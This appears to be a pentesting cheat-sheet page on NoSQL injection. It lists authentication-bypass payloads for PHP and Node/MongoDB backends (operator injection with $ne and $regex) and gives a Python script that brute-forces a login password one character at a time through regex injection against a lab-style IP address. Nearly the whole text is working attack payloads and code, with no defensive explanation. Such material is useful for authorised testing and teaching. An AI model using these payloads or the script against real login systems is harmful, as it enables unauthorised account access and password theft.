10OWASP 10
NoSQL Injection
- PHP
bashapplication/x-www-form-urlencoded8 lines
admin'||'1==1username[$ne]=admin&password[$ne]=pass
# With regex; increase x++## Count username's characterusername[$regex]=^.{x}$&password[$ne]=pass## Bruteforce username; change x to a,b,c,d...username[$regex]=^{x}.*&password[$ne]=pass- Node / MongoDB
bashapplication/json14 lines
{ "user" : "admin", "password" : { "$ne" : "passw"}}
{ "username" : { "$ne" : "admin"}, "password" : { "$ne" : "passw"}}
{ "user" : "admin", "password" : { "$regex" : ".*"}}- Bruteforce login password
bash33 lines
import sysimport jsonimport stringimport requests as req
proxies = { 'http': 'http://127.0.0.1:8080' }url = "http://10.10.11.139:5000/login"par_user = "user"par_user_value = "admin"par_pass = "password"fail_respond = "Invalid"
def login(passwd): payload = '{ "$regex": "%s" }' % passwd data = { par_user:par_user_value, par_pass: json.loads(payload)} request = req.post(url,json=data) #, proxies=proxies) if fail_respond in request.text: return False return True
passwd = '^'finished = Falsestring = string.ascii_letters + string.digits + string.punctuationwhile finished == False: for i in string: sys.stdout.write(f"\r{passwd}{i}") if login(f"{passwd}{i}"): passwd += i if login(f"{passwd}$"): print ("\r\n\nPassword is : "+ passwd[1:]) finished = True break break